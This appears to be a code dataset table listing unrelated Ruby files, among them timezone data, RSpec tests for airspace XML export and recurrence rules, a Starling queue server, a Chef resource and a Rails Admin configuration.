hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
081a86600dfd4d9e7b953f4396f122d786708d4b | 133 | require 'rspec'
require 'sir'
RSpec.configure do |config|
config.color_enabled = true
config.formatter = 'documentation'
end | 19 | 40 | 0.736842 |
ac0897a17a05db5149f71457ec9bc103888214f8 | 4,529 | # encoding: UTF-8
# This file contains data derived from the IANA Time Zone Database
# (http://www.iana.org/time-zones).
module TZInfo
module Data
module Definitions
module America
module Argentina
module Ushuaia
include TimezoneDefinition
timezone 'America/Argentina/Ushuaia' do |tz|
tz.offset :o0, -16392, 0, :LMT
tz.offset :o1, -15408, 0, :CMT
tz.offset :o2, -14400, 0, :'-04'
tz.offset :o3, -14400, 3600, :'-03'
tz.offset :o4, -10800, 0, :'-03'
tz.offset :o5, -10800, 3600, :'-02'
tz.transition 1894, 10, :o1, -2372095608, 8687277683, 3600
tz.transition 1920, 5, :o2, -1567453392, 1453467407, 600
tz.transition 1930, 12, :o3, -1233432000, 7278935, 3
tz.transition 1931, 4, :o2, -1222981200, 19411461, 8
tz.transition 1931, 10, :o3, -1205956800, 7279889, 3
tz.transition 1932, 3, :o2, -1194037200, 19414141, 8
tz.transition 1932, 11, :o3, -1172865600, 7281038, 3
tz.transition 1933, 3, :o2, -1162501200, 19417061, 8
tz.transition 1933, 11, :o3, -1141329600, 7282133, 3
tz.transition 1934, 3, :o2, -1130965200, 19419981, 8
tz.transition 1934, 11, :o3, -1109793600, 7283228, 3
tz.transition 1935, 3, :o2, -1099429200, 19422901, 8
tz.transition 1935, 11, :o3, -1078257600, 7284323, 3
tz.transition 1936, 3, :o2, -1067806800, 19425829, 8
tz.transition 1936, 11, :o3, -1046635200, 7285421, 3
tz.transition 1937, 3, :o2, -1036270800, 19428749, 8
tz.transition 1937, 11, :o3, -1015099200, 7286516, 3
tz.transition 1938, 3, :o2, -1004734800, 19431669, 8
tz.transition 1938, 11, :o3, -983563200, 7287611, 3
tz.transition 1939, 3, :o2, -973198800, 19434589, 8
tz.transition 1939, 11, :o3, -952027200, 7288706, 3
tz.transition 1940, 3, :o2, -941576400, 19437517, 8
tz.transition 1940, 7, :o3, -931032000, 7289435, 3
tz.transition 1941, 6, :o2, -900882000, 19441285, 8
tz.transition 1941, 10, :o3, -890337600, 7290848, 3
tz.transition 1943, 8, :o2, -833749200, 19447501, 8
tz.transition 1943, 10, :o3, -827265600, 7293038, 3
tz.transition 1946, 3, :o2, -752274000, 19455045, 8
tz.transition 1946, 10, :o3, -733780800, 7296284, 3
tz.transition 1963, 10, :o2, -197326800, 19506429, 8
tz.transition 1963, 12, :o3, -190843200, 7315136, 3
tz.transition 1964, 3, :o2, -184194000, 19507645, 8
tz.transition 1964, 10, :o3, -164491200, 7316051, 3
tz.transition 1965, 3, :o2, -152658000, 19510565, 8
tz.transition 1965, 10, :o3, -132955200, 7317146, 3
tz.transition 1966, 3, :o2, -121122000, 19513485, 8
tz.transition 1966, 10, :o3, -101419200, 7318241, 3
tz.transition 1967, 4, :o2, -86821200, 19516661, 8
tz.transition 1967, 10, :o3, -71092800, 7319294, 3
tz.transition 1968, 4, :o2, -54766800, 19519629, 8
tz.transition 1968, 10, :o3, -39038400, 7320407, 3
tz.transition 1969, 4, :o2, -23317200, 19522541, 8
tz.transition 1969, 10, :o4, -7588800, 7321499, 3
tz.transition 1974, 1, :o5, 128142000
tz.transition 1974, 5, :o4, 136605600
tz.transition 1988, 12, :o5, 596948400
tz.transition 1989, 3, :o4, 605066400
tz.transition 1989, 10, :o5, 624423600
tz.transition 1990, 3, :o4, 636516000
tz.transition 1990, 10, :o5, 656478000
tz.transition 1991, 3, :o4, 667965600
tz.transition 1991, 10, :o5, 687927600
tz.transition 1992, 3, :o4, 699415200
tz.transition 1992, 10, :o5, 719377200
tz.transition 1993, 3, :o4, 731469600
tz.transition 1999, 10, :o3, 938919600
tz.transition 2000, 3, :o4, 952052400
tz.transition 2004, 5, :o2, 1085886000
tz.transition 2004, 6, :o4, 1087704000
tz.transition 2007, 12, :o5, 1198983600
tz.transition 2008, 3, :o4, 1205632800
end
end
end
end
end
end
end
| 50.322222 | 72 | 0.550453 |
f77a53b28d6589477d8220d33c8cd3143f42bfaa | 15,816 | require_relative '../../../spec_helper'
describe AIXM::Feature::Airspace do
context "only required attributes set" do
subject do
AIXM.airspace(type: "TMA", name: "Test TMA")
end
describe :initialize do
it "sets defaults" do
_(subject.id).must_equal 'C55466EC'
_(subject.geometry).must_be_instance_of AIXM::Component::Geometry
end
end
describe :id= do
it "fails on invalid values" do
_([:foobar, 123]).wont_be_written_to subject, :id
end
it "falls back to id derived from digest of type, local_type and name" do
_(subject.tap { _1.id = nil }.id).must_equal 'C55466EC'
end
it "upcases value" do
_(subject.tap { _1.id = 'löl' }.id).must_equal 'LOEL'
end
end
describe :type= do
it "fails on invalid values" do
_([nil, :foobar, 123]).wont_be_written_to subject, :type
end
it "looks up valid values" do
_(subject.tap { _1.type = :danger_area }.type).must_equal :danger_area
_(subject.tap { _1.type = :P }.type).must_equal :prohibited_area
end
end
describe :local_type= do
it "fails on invalid values" do
_([:foobar, 123]).wont_be_written_to subject, :local_type
end
it "accepts nil value" do
_([nil]).must_be_written_to subject, :local_type
end
it "upcases value" do
_(subject.tap { _1.local_type = 'löl' }.local_type).must_equal 'LOEL'
end
end
describe :name= do
it "fails on invalid values" do
_([:foobar, 123]).wont_be_written_to subject, :name
end
it "accepts nil value" do
_([nil]).must_be_written_to subject, :name
end
it "upcases value" do
_(subject.tap { _1.name = 'löl' }.name).must_equal 'LOEL'
end
end
describe :to_uid do
it "builds with arbitrary tag" do
_(subject.to_uid).must_match(/<AseUid>/)
_(subject.to_uid(as: :FooBar)).must_match(/<FooBar>/)
end
end
describe :to_xml do
it "fails to build AIXM since geometry is not closed" do
subject.add_layer(AIXM::Factory.layer)
_{ subject.to_xml }.must_raise AIXM::GeometryError
end
it "fails to build AIXM since layers are not defined" do
subject.geometry = AIXM::Factory.circle_geometry
_{ subject.to_xml }.must_raise AIXM::LayerError
end
end
end
context "only required attributes, geometry and layers set" do
subject do
AIXM.airspace(type: "TMA", name: "Test TMA").tap do |airspace|
airspace.geometry = AIXM::Factory.circle_geometry
airspace.add_layer(AIXM::Factory.layer)
end
end
describe :to_xml do
it "builds correct AIXM without id" do
_(subject.to_xml).must_match(%r{<codeId>C55466EC</codeId>})
end
it "builds correct AIXM without short name" do
_(subject.to_xml).wont_match(/<txtLocalType>/)
end
it "builds correct AIXM with identical name and short name" do
_(subject.to_xml).wont_match(/<txtLocalType>/)
end
end
end
context "with one layer and one service" do
subject do
AIXM::Factory.polygon_airspace
end
before do
unit = AIXM::Factory.unit
subject.layers.first.add_service(unit.services.first)
end
describe :to_xml do
it "builds correct complete OFMX" do
AIXM.ofmx!
_(subject.to_xml).must_equal <<~"END"
<!-- Airspace: [D] POLYGON AIRSPACE -->
<Ase source="LF|GEN|0.0 FACTORY|0|0">
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
<txtLocalType>POLYGON</txtLocalType>
</AseUid>
<txtName>POLYGON AIRSPACE</txtName>
<codeClass>C</codeClass>
<codeLocInd>XXXX</codeLocInd>
<codeActivity>TFC-AD</codeActivity>
<codeDistVerUpper>STD</codeDistVerUpper>
<valDistVerUpper>65</valDistVerUpper>
<uomDistVerUpper>FL</uomDistVerUpper>
<codeDistVerLower>STD</codeDistVerLower>
<valDistVerLower>45</valDistVerLower>
<uomDistVerLower>FL</uomDistVerLower>
<codeDistVerMax>ALT</codeDistVerMax>
<valDistVerMax>6000</valDistVerMax>
<uomDistVerMax>FT</uomDistVerMax>
<codeDistVerMnm>HEI</codeDistVerMnm>
<valDistVerMnm>3000</valDistVerMnm>
<uomDistVerMnm>FT</uomDistVerMnm>
<Att>
<codeWorkHr>H24</codeWorkHr>
</Att>
<codeSelAvbl>Y</codeSelAvbl>
<txtRmk>airspace layer</txtRmk>
</Ase>
<Abd>
<AbdUid>
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
<txtLocalType>POLYGON</txtLocalType>
</AseUid>
</AbdUid>
<Avx>
<codeType>CWA</codeType>
<geoLat>47.85916667N</geoLat>
<geoLong>007.56000000E</geoLong>
<codeDatum>WGE</codeDatum>
<geoLatArc>47.90416667N</geoLatArc>
<geoLongArc>007.56333333E</geoLongArc>
</Avx>
<Avx>
<GbrUid>
<txtName>FRANCE_GERMANY</txtName>
</GbrUid>
<codeType>FNT</codeType>
<geoLat>47.94361111N</geoLat>
<geoLong>007.59583333E</geoLong>
<codeDatum>WGE</codeDatum>
</Avx>
<Avx>
<codeType>GRC</codeType>
<geoLat>47.85916667N</geoLat>
<geoLong>007.56000000E</geoLong>
<codeDatum>WGE</codeDatum>
</Avx>
</Abd>
<Sae>
<SaeUid>
<SerUid>
<UniUid region="LF">
<txtName>PUJAUT</txtName>
<codeType>TWR</codeType>
</UniUid>
<codeType>APP</codeType>
<noSeq>1</noSeq>
</SerUid>
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
<txtLocalType>POLYGON</txtLocalType>
</AseUid>
</SaeUid>
</Sae>
END
end
it "builds correct minimal OFMX" do
AIXM.ofmx!
subject.local_type = subject.name = nil
_(subject.to_xml).must_equal <<~"END"
<!-- Airspace: [D] UNNAMED -->
<Ase source="LF|GEN|0.0 FACTORY|0|0">
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
</AseUid>
<codeClass>C</codeClass>
<codeLocInd>XXXX</codeLocInd>
<codeActivity>TFC-AD</codeActivity>
<codeDistVerUpper>STD</codeDistVerUpper>
<valDistVerUpper>65</valDistVerUpper>
<uomDistVerUpper>FL</uomDistVerUpper>
<codeDistVerLower>STD</codeDistVerLower>
<valDistVerLower>45</valDistVerLower>
<uomDistVerLower>FL</uomDistVerLower>
<codeDistVerMax>ALT</codeDistVerMax>
<valDistVerMax>6000</valDistVerMax>
<uomDistVerMax>FT</uomDistVerMax>
<codeDistVerMnm>HEI</codeDistVerMnm>
<valDistVerMnm>3000</valDistVerMnm>
<uomDistVerMnm>FT</uomDistVerMnm>
<Att>
<codeWorkHr>H24</codeWorkHr>
</Att>
<codeSelAvbl>Y</codeSelAvbl>
<txtRmk>airspace layer</txtRmk>
</Ase>
<Abd>
<AbdUid>
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
</AseUid>
</AbdUid>
<Avx>
<codeType>CWA</codeType>
<geoLat>47.85916667N</geoLat>
<geoLong>007.56000000E</geoLong>
<codeDatum>WGE</codeDatum>
<geoLatArc>47.90416667N</geoLatArc>
<geoLongArc>007.56333333E</geoLongArc>
</Avx>
<Avx>
<GbrUid>
<txtName>FRANCE_GERMANY</txtName>
</GbrUid>
<codeType>FNT</codeType>
<geoLat>47.94361111N</geoLat>
<geoLong>007.59583333E</geoLong>
<codeDatum>WGE</codeDatum>
</Avx>
<Avx>
<codeType>GRC</codeType>
<geoLat>47.85916667N</geoLat>
<geoLong>007.56000000E</geoLong>
<codeDatum>WGE</codeDatum>
</Avx>
</Abd>
<Sae>
<SaeUid>
<SerUid>
<UniUid region="LF">
<txtName>PUJAUT</txtName>
<codeType>TWR</codeType>
</UniUid>
<codeType>APP</codeType>
<noSeq>1</noSeq>
</SerUid>
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
</AseUid>
</SaeUid>
</Sae>
END
end
end
end
context "with two layers and three services" do
subject do
AIXM::Factory.polygon_airspace.tap do |airspace|
airspace.add_layer(AIXM::Factory.layer)
end
end
before do
unit = AIXM::Factory.unit.tap do |unit|
unit.add_service(AIXM::Factory.service)
unit.add_service(AIXM::Factory.service)
end
subject.layers.first.add_service(unit.services[0])
subject.layers.first.add_service(unit.services[1])
subject.layers.last.add_service(unit.services[2])
end
describe :to_xml do
it "builds correct OFMX" do
AIXM.ofmx!
_(subject.to_xml).must_equal <<~"END"
<!-- Airspace: [D] POLYGON AIRSPACE -->
<Ase source="LF|GEN|0.0 FACTORY|0|0">
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
<txtLocalType>POLYGON</txtLocalType>
</AseUid>
<txtName>POLYGON AIRSPACE</txtName>
</Ase>
<Abd>
<AbdUid>
<AseUid region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
<txtLocalType>POLYGON</txtLocalType>
</AseUid>
</AbdUid>
<Avx>
<codeType>CWA</codeType>
<geoLat>47.85916667N</geoLat>
<geoLong>007.56000000E</geoLong>
<codeDatum>WGE</codeDatum>
<geoLatArc>47.90416667N</geoLatArc>
<geoLongArc>007.56333333E</geoLongArc>
</Avx>
<Avx>
<GbrUid>
<txtName>FRANCE_GERMANY</txtName>
</GbrUid>
<codeType>FNT</codeType>
<geoLat>47.94361111N</geoLat>
<geoLong>007.59583333E</geoLong>
<codeDatum>WGE</codeDatum>
</Avx>
<Avx>
<codeType>GRC</codeType>
<geoLat>47.85916667N</geoLat>
<geoLong>007.56000000E</geoLong>
<codeDatum>WGE</codeDatum>
</Avx>
</Abd>
<Ase>
<AseUid region="LF">
<codeType>CLASS</codeType>
<codeId>B794588D</codeId>
</AseUid>
<txtName>POLYGON AIRSPACE LAYER 1</txtName>
<codeClass>C</codeClass>
<codeLocInd>XXXX</codeLocInd>
<codeActivity>TFC-AD</codeActivity>
<codeDistVerUpper>STD</codeDistVerUpper>
<valDistVerUpper>65</valDistVerUpper>
<uomDistVerUpper>FL</uomDistVerUpper>
<codeDistVerLower>STD</codeDistVerLower>
<valDistVerLower>45</valDistVerLower>
<uomDistVerLower>FL</uomDistVerLower>
<codeDistVerMax>ALT</codeDistVerMax>
<valDistVerMax>6000</valDistVerMax>
<uomDistVerMax>FT</uomDistVerMax>
<codeDistVerMnm>HEI</codeDistVerMnm>
<valDistVerMnm>3000</valDistVerMnm>
<uomDistVerMnm>FT</uomDistVerMnm>
<Att>
<codeWorkHr>H24</codeWorkHr>
</Att>
<codeSelAvbl>Y</codeSelAvbl>
<txtRmk>airspace layer</txtRmk>
</Ase>
<Adg>
<AdgUid>
<AseUid region="LF">
<codeType>CLASS</codeType>
<codeId>B794588D</codeId>
</AseUid>
</AdgUid>
<AseUidSameExtent region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
<txtLocalType>POLYGON</txtLocalType>
</AseUidSameExtent>
</Adg>
<Sae>
<SaeUid>
<SerUid>
<UniUid region="LF">
<txtName>PUJAUT</txtName>
<codeType>TWR</codeType>
</UniUid>
<codeType>APP</codeType>
<noSeq>1</noSeq>
</SerUid>
<AseUid region="LF">
<codeType>CLASS</codeType>
<codeId>B794588D</codeId>
</AseUid>
</SaeUid>
</Sae>
<Sae>
<SaeUid>
<SerUid>
<UniUid region="LF">
<txtName>PUJAUT</txtName>
<codeType>TWR</codeType>
</UniUid>
<codeType>APP</codeType>
<noSeq>2</noSeq>
</SerUid>
<AseUid region="LF">
<codeType>CLASS</codeType>
<codeId>B794588D</codeId>
</AseUid>
</SaeUid>
</Sae>
<Ase>
<AseUid region="LF">
<codeType>CLASS</codeType>
<codeId>64589EAF</codeId>
</AseUid>
<txtName>POLYGON AIRSPACE LAYER 2</txtName>
<codeClass>C</codeClass>
<codeLocInd>XXXX</codeLocInd>
<codeActivity>TFC-AD</codeActivity>
<codeDistVerUpper>STD</codeDistVerUpper>
<valDistVerUpper>65</valDistVerUpper>
<uomDistVerUpper>FL</uomDistVerUpper>
<codeDistVerLower>STD</codeDistVerLower>
<valDistVerLower>45</valDistVerLower>
<uomDistVerLower>FL</uomDistVerLower>
<codeDistVerMax>ALT</codeDistVerMax>
<valDistVerMax>6000</valDistVerMax>
<uomDistVerMax>FT</uomDistVerMax>
<codeDistVerMnm>HEI</codeDistVerMnm>
<valDistVerMnm>3000</valDistVerMnm>
<uomDistVerMnm>FT</uomDistVerMnm>
<Att>
<codeWorkHr>H24</codeWorkHr>
</Att>
<codeSelAvbl>Y</codeSelAvbl>
<txtRmk>airspace layer</txtRmk>
</Ase>
<Adg>
<AdgUid>
<AseUid region="LF">
<codeType>CLASS</codeType>
<codeId>64589EAF</codeId>
</AseUid>
</AdgUid>
<AseUidSameExtent region="LF">
<codeType>D</codeType>
<codeId>PA</codeId>
<txtLocalType>POLYGON</txtLocalType>
</AseUidSameExtent>
</Adg>
<Sae>
<SaeUid>
<SerUid>
<UniUid region="LF">
<txtName>PUJAUT</txtName>
<codeType>TWR</codeType>
</UniUid>
<codeType>APP</codeType>
<noSeq>3</noSeq>
</SerUid>
<AseUid region="LF">
<codeType>CLASS</codeType>
<codeId>64589EAF</codeId>
</AseUid>
</SaeUid>
</Sae>
END
end
end
end
end
| 32.476386 | 79 | 0.516186 |
bb4eba103b81c64c41cedc9b64a8a25f59fde33f | 2,276 | require File.dirname(__FILE__) + '/../spec_helper'
describe IceCube::DailyRule, 'occurs_on?' do
it 'should not produce results for @interval = 0' do
start_date = DAY
schedule = IceCube::Schedule.new(start_date)
schedule.add_recurrence_rule IceCube::Rule.daily(0)
#check assumption
dates = schedule.occurrences(start_date + 2 * IceCube::ONE_DAY)
dates.size.should == 0
dates.should == []
end
it 'should produce the correct days for @interval = 1' do
start_date = DAY
schedule = IceCube::Schedule.new(start_date)
schedule.add_recurrence_rule IceCube::Rule.daily
#check assumption
dates = schedule.occurrences(start_date + 2 * IceCube::ONE_DAY)
dates.size.should == 3
dates.should == [DAY, DAY + 1 * IceCube::ONE_DAY, DAY + 2 * IceCube::ONE_DAY]
end
it 'should produce the correct days for @interval = 2' do
start_date = DAY
schedule = IceCube::Schedule.new(start_date)
schedule.add_recurrence_rule IceCube::Rule.daily(2)
#check assumption (3) -- (1) 2 (3) 4 (5) 6
dates = schedule.occurrences(start_date + 5 * IceCube::ONE_DAY)
dates.size.should == 3
dates.should == [DAY, DAY + 2 * IceCube::ONE_DAY, DAY + 4 * IceCube::ONE_DAY]
end
it 'should produce the correct days for @interval = 2 when crossing into a new year' do
start_date = Time.utc(2011, 12, 29)
schedule = IceCube::Schedule.new(start_date)
schedule.add_recurrence_rule IceCube::Rule.daily(2)
#check assumption (3) -- (1) 2 (3) 4 (5) 6
dates = schedule.occurrences(start_date + 5 * IceCube::ONE_DAY)
dates.size.should == 3
dates.should == [start_date, start_date + 2 * IceCube::ONE_DAY, start_date + 4 * IceCube::ONE_DAY]
end
it 'should produce the correct days for interval of 4 day with hour and minute of day set' do
start_date = DAY
schedule = IceCube::Schedule.new(start_date)
schedule.add_recurrence_rule IceCube::Rule.daily(4).hour_of_day(5).minute_of_hour(45)
#check assumption 2 -- 1 (2) (3) (4) 5 (6)
dates = schedule.occurrences(start_date + 5 * IceCube::ONE_DAY)
dates.should == [
DAY + 5 * IceCube::ONE_HOUR + 45 * IceCube::ONE_MINUTE,
DAY + 4 * IceCube::ONE_DAY + 5 * IceCube::ONE_HOUR + 45 * IceCube::ONE_MINUTE
]
end
end
| 38.576271 | 102 | 0.680141 |
61d23698c54f1bd9c9657adc661db4a9ed550297 | 3,050 | require 'socket'
require 'logger'
require 'rubygems'
require 'eventmachine'
here = File.dirname(__FILE__)
require File.join(here, 'queue_collection')
require File.join(here, 'handler')
module StarlingServer
VERSION = "0.10.0"
class Base
attr_reader :logger
DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 22122
DEFAULT_PATH = "/tmp/starling/"
DEFAULT_TIMEOUT = 60
##
# Initialize a new Starling server and immediately start processing
# requests.
#
# +opts+ is an optional hash, whose valid options are:
#
# [:host] Host on which to listen (default is 127.0.0.1).
# [:port] Port on which to listen (default is 22122).
# [:path] Path to Starling queue logs. Default is /tmp/starling/
# [:timeout] Time in seconds to wait before closing connections.
# [:logger] A Logger object, an IO handle, or a path to the log.
# [:loglevel] Logger verbosity. Default is Logger::ERROR.
#
# Other options are ignored.
def self.start(opts = {})
server = self.new(opts)
server.run
end
##
# Initialize a new Starling server, but do not accept connections or
# process requests.
#
# +opts+ is as for +start+
def initialize(opts = {})
@opts = {
:host => DEFAULT_HOST,
:port => DEFAULT_PORT,
:path => DEFAULT_PATH,
:timeout => DEFAULT_TIMEOUT,
:server => self
}.merge(opts)
@stats = Hash.new(0)
FileUtils.mkdir_p(@opts[:path])
end
##
# Start listening and processing requests.
def run
@stats[:start_time] = Time.now
if @opts[:syslog_channel]
begin
require 'syslog_logger'
@@logger = SyslogLogger.new(@opts[:syslog_channel])
rescue LoadError
# SyslogLogger isn't available, so we're just going to use Logger
end
end
@@logger ||= case @opts[:logger]
when IO, String; Logger.new(@opts[:logger])
when Logger; @opts[:logger]
else; Logger.new(STDERR)
end
begin
@opts[:queue] = QueueCollection.new(@opts[:path])
rescue InaccessibleQueuePath => e
puts "Error: #{e.message}"
exit 1
end
@@logger.level = @opts[:log_level] || Logger::ERROR
@@logger.info "Starling STARTUP on #{@opts[:host]}:#{@opts[:port]}"
EventMachine.epoll
EventMachine.set_descriptor_table_size(4096)
EventMachine.run do
EventMachine.start_server(@opts[:host], @opts[:port], Handler, @opts)
end
# code here will get executed on shutdown:
@opts[:queue].close
end
def self.logger
@@logger
end
##
# Stop accepting new connections and shutdown gracefully.
def stop
EventMachine.stop_event_loop
end
def stats(stat = nil) #:nodoc:
case stat
when nil; @stats
when :connections; 1
else; @stats[stat]
end
end
end
end
| 24.206349 | 77 | 0.587869 |
263cb838631e3dbbbc88730875f159adf165fa41 | 1,416 | def it_requires_authentication(options = {})
default_options = {
:for => {
:index => :get,
:show => :get,
:new => :get,
:create => :post,
:edit => :get,
:update => :patch,
:destroy => :delete
},
:params => {:id => '4c6c760494df2a18cc000015'}
}
options.reverse_merge!(default_options)
context 'when signed out' do
before do
sign_out :user
end
options[:for].each do |action, method|
it "#{method.to_s.upcase} #{action} redirects to the sign in page" do
send(method, action, options[:params])
expect(response).to redirect_to(new_user_session_path)
end
end
end
end
def it_requires_admin_privileges(options = {})
default_options = {
:for => {
:index => :get,
:show => :get,
:new => :get,
:create => :post,
:edit => :get,
:update => :patch,
:destroy => :delete
},
:params => {:id => 'dummyid'}
}
options.reverse_merge!(default_options)
context 'when signed in as a regular user' do
before do
sign_out :user
sign_in Fabricate(:user)
end
options[:for].each do |action, method|
it "#{method.to_s.upcase} #{action} redirects to the root path" do
send(method, action, options[:params])
expect(response).to redirect_to(root_path)
end
end
end
end
| 24 | 75 | 0.560734 |
3877c1a12a1da582ece2e6967babc957963444dd | 1,174 | # frozen_string_literal: true
module Competitions
# Year-long best rider competition for senior men. http://obra.org/oregon_cup
class OregonCup < Competition
def friendly_name
"Oregon Cup"
end
def point_schedule
[100, 75, 60, 50, 45, 40, 35, 30, 25, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10]
end
# Women are often raced together and then scored separately. Combined Women 1/2/3 results count for Oregon Cup.
# Mark Oregon Cup race by adding "Oregon Cup" to event name, race name, event notes, or race notes.
def remove_duplicate_results(results)
results.delete_if do |result|
results.any? do |other_result|
result != other_result &&
result.race_id != other_result.race_id &&
result.event.root == other_result.event.root &&
(
other_result.race.notes.include?("Oregon Cup") ||
other_result.event.notes.include?("Oregon Cup") ||
other_result.event.name.include?("Oregon Cup")
)
end
end
end
def category_names
["Senior Men"]
end
def source_events?
true
end
end
end
| 29.35 | 115 | 0.620102 |
6a7c8e0d5ebf523df4d44a1ada8e6c6e4dbba6b3 | 1,508 | #
# Author:: Adam Jacob (<[email protected]>)
# Author:: Tyler Cloke (<[email protected]>)
# Copyright:: Copyright (c) 2008 Opscode, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'chef/resource/execute'
class Chef
class Resource
class Script < Chef::Resource::Execute
identity_attr :command
def initialize(name, run_context=nil)
super
@resource_name = :script
@command = name
@code = nil
@interpreter = nil
@flags = nil
end
def code(arg=nil)
set_or_return(
:code,
arg,
:kind_of => [ String ]
)
end
def interpreter(arg=nil)
set_or_return(
:interpreter,
arg,
:kind_of => [ String ]
)
end
def flags(arg=nil)
set_or_return(
:flags,
arg,
:kind_of => [ String ]
)
end
end
end
end
| 23.5625 | 74 | 0.600796 |
79e5127e1ee849be57ed083ff2f49ab3a01bc0d9 | 5,331 | require 'symath/definition'
module SyMath
class Definition::Operator < Definition
attr_reader :args
attr_reader :exp
def self.init_builtin()
SyMath::Definition::D.new
SyMath::Definition::Xd.new
SyMath::Definition::Int.new
SyMath::Definition::Bounds.new
SyMath::Definition::Sharp.new
SyMath::Definition::Flat.new
SyMath::Definition::Hodge.new
SyMath::Definition::Grad.new
SyMath::Definition::Curl.new
SyMath::Definition::Div.new
SyMath::Definition::Laplacian.new
SyMath::Definition::CoDiff.new
expressions = [
{ :name => 'laplace',
:exp => 'lmd(int(f.(t)*e**(-s*t),d(t),0,oo),s)',
:desc => 'laplace transform',
},
{ :name => 'fourier',
:exp => 'lmd(int(f.(x)*e**(-2*pi*i*x*w),d(x),-oo,oo),w)',
:desc => 'fourier transform',
},
{ :name => 'invfourier',
:exp => 'lmd(int(f.(w)*e**(2*pi*i*x*w),d(w),-oo,oo),x)',
:desc => 'inverse fourier transform',
},
]
expressions.each do |e|
self.new(e[:name], args: [:f], exp: e[:exp],
description: "#{e[:name]}(f) - #{e[:desc]}")
end
e = op(:d, lmd(:f, :t))/op(:d, :t)
self.new('dpart', args: [:f, :t], exp: e,
description: 'dpart - partial derivative')
end
def self.operators()
return self.definitions.select do |d|
d.is_operator? and !d.is_function?
end
end
def initialize(name, args: [], exp: nil, define_symbol: true,
description: nil)
if exp and !exp.is_a?(SyMath::Value)
exp = exp.to_m
end
@args = args.map { |a| a.to_m }
@exp = exp
super(name, define_symbol: define_symbol, description: description)
end
def compose_with_simplify(*args)
return
end
def validate_args(e)
return
end
def arity()
return @args.length
end
def ==(other)
if !super(other)
return false
end
o = other.to_m
return false if self.args.length != o.args.length
return false if self.exp != o.exp
return false if self.args != o.args
return true
end
alias eql? ==
def <=>(other)
s = super(other)
return s if s != 0
if arity != other.arity
return arity <=> other.arity
end
(0...arity).to_a.each do |i|
diff = args[i] <=> other.args[i]
if diff != 0
return diff
end
end
return 0
end
# The call method, or the .() operator, returns an operator or function
# object representing the operator or function being applied to a list of
# arguments.
def call(*args)
return SyMath::Operator.create(name, args.map { |a| a.nil? ? a : a.to_m })
end
def is_operator?()
return true
end
# Evaluate the operator in use
def evaluate_call(c)
if !exp
# Operator has no expression, return it unchanged.
return c
end
# Operator has expression. Exand it.
res = exp.deep_clone
if arity != c.arity
raise "Cannot evaluate #{name} with #{c.arity} arguments. Expected #{arity}."
end
map = {}
args.each_with_index do |a, i|
map[a] = c.args[i]
end
res.replace(map)
# Recursively evaluate the expanded formula.
res = res.evaluate
return res
end
def replace(map)
# FIXME: We probably need to filter out the local variables before
# replacing
if !exp.nil?
@exp = exp.replace(map)
end
# Replace all arguments
@args = @args.map do |a|
a.replace(map)
end
return self
end
def to_s(args = nil)
if !args
args = @args
end
if args.length > 0
arglist = args.map { |a| a.to_s }.join(',')
else
arglist = "..."
end
return "#{@name}(#{arglist})"
end
def latex_format()
return "\\operatorname{#{name}}(%s)"
end
def to_latex(args = nil)
if !args
args = @args
end
if args.length > 0
arglist = args.map { |a| a.to_latex }.join(',')
else
arglist = "..."
end
return sprintf(latex_format, arglist)
end
def dump(indent = 0)
res = super(indent)
i = ' '*indent
if args
arglist = args.map { |a| a.to_s }.join(',')
res = "#{res}\n#{i} args: #{arglist}"
end
if exp
res = "#{res}\n#{i} exp: #{exp}"
end
end
end
end
def op(o, *args)
return SyMath::Operator.create(o, args.map { |a| a.nil? ? a : a.to_m })
end
def define_op(name, args, exp = nil)
if exp
return SyMath::Definition::Operator.new(name, args: args, exp: exp)
else
return SyMath::Definition::Operator.new(name, args: args)
end
end
require 'symath/definition/d'
require 'symath/definition/xd'
require 'symath/definition/int'
require 'symath/definition/bounds'
require 'symath/definition/sharp'
require 'symath/definition/flat'
require 'symath/definition/hodge'
require 'symath/definition/grad'
require 'symath/definition/curl'
require 'symath/definition/div'
require 'symath/definition/laplacian'
require 'symath/definition/codiff'
| 23.279476 | 85 | 0.556744 |
38d04d147752e35714bbc1ef35918fae7e13ec67 | 510 | require_relative "lib/simple/hash"
Gem::Specification.new do |spec|
spec.name = "simple-hash"
spec.version = Simple::Hash::VERSION
spec.authors = ["localhostdotdev"]
spec.email = ["[email protected]"]
spec.summary = "typically make JSON into object with accessors"
spec.homepage = "https://github.com/simple-updates/simple-hash"
spec.license = "MIT"
spec.files = `git ls-files`.split("\n")
spec.require_paths = ["lib"]
spec.add_dependency "activesupport", "~> 6.0.0beta3"
end
| 34 | 65 | 0.713725 |
182bdd23716d465b2c6b245d06fb9d9f6cc9257f | 921 | RailsAdmin.config do |config|
### Popular gems integration
## == Devise ==
config.authenticate_with do
warden.authenticate! scope: :user
end
config.current_user_method(&:current_user)
config.authorize_with do |controller|
unless current_user.has_role? :admin
redirect_to main_app.root_path
end
end
## == Cancan ==
# config.authorize_with :cancan
## == Pundit ==
# config.authorize_with :pundit
## == PaperTrail ==
# config.audit_with :paper_trail, 'User', 'PaperTrail::Version' # PaperTrail >= 3.0.0
### More at https://github.com/sferik/rails_admin/wiki/Base-configuration
config.actions do
dashboard # mandatory
index # mandatory
new
export
bulk_delete
show
edit
delete
show_in_app
## With an audit adapter, you can add:
# history_index
